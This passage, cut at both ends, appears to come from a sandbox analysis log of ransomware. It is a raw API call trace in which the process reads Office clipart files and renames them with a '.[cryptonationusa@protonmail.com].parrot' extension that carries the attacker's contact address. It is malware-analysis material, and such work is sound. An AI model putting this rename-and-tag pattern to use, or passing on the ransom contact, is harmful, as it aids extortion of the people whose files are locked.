lpNumberOfBytesRead=0x18eed4*=0xbc4, lpOverlapped=0x0) returned 1 [0128.090] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.092] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.092] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.094] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.094] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xac4, lpOverlapped=0x0) returned 1 [0128.094] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.097] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.097] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.098] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.098] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0128.099] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.104] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.104] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.106] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.106] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d74, lpOverlapped=0x0) returned 1 [0128.107] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.110] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.110] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.111] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.111] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19e8, lpOverlapped=0x0) returned 1 [0128.112] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.115] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.116] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.117] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.117] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x83c, lpOverlapped=0x0) returned 1 [0128.117] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.121] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.121] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.123] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.123] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2418, lpOverlapped=0x0) returned 1 [0128.124] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.127] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.127] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.129] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.129] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x928, lpOverlapped=0x0) returned 1 [0128.129] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.132] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.132] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.134] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.134] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17ac, lpOverlapped=0x0) returned 1 [0128.135] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.137] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.137] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.139] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.139] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd58, lpOverlapped=0x0) returned 1 [0128.139] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.143] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.143] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.144] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.144] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa4c, lpOverlapped=0x0) returned 1 [0128.144] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.147] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.147] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.149] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.149] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19ec, lpOverlapped=0x0) returned 1 [0128.150] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.153] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.153] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.156] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.156] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1204, lpOverlapped=0x0) returned 1 [0128.157] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.161] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.161] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.162] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.162] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc48, lpOverlapped=0x0) returned 1 [0128.163] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.166] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.166] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.234] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1df4, lpOverlapped=0x0) returned 1 [0128.237] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.240] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.240] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.242] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.242] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x212c, lpOverlapped=0x0) returned 1 [0128.243] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.246] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.246] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.247] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.247] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0128.248] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.251] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.251] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.253] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.253] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0128.254] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.256] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.257] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.258] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.258] ReadFile (in: hFile=0x1b0, 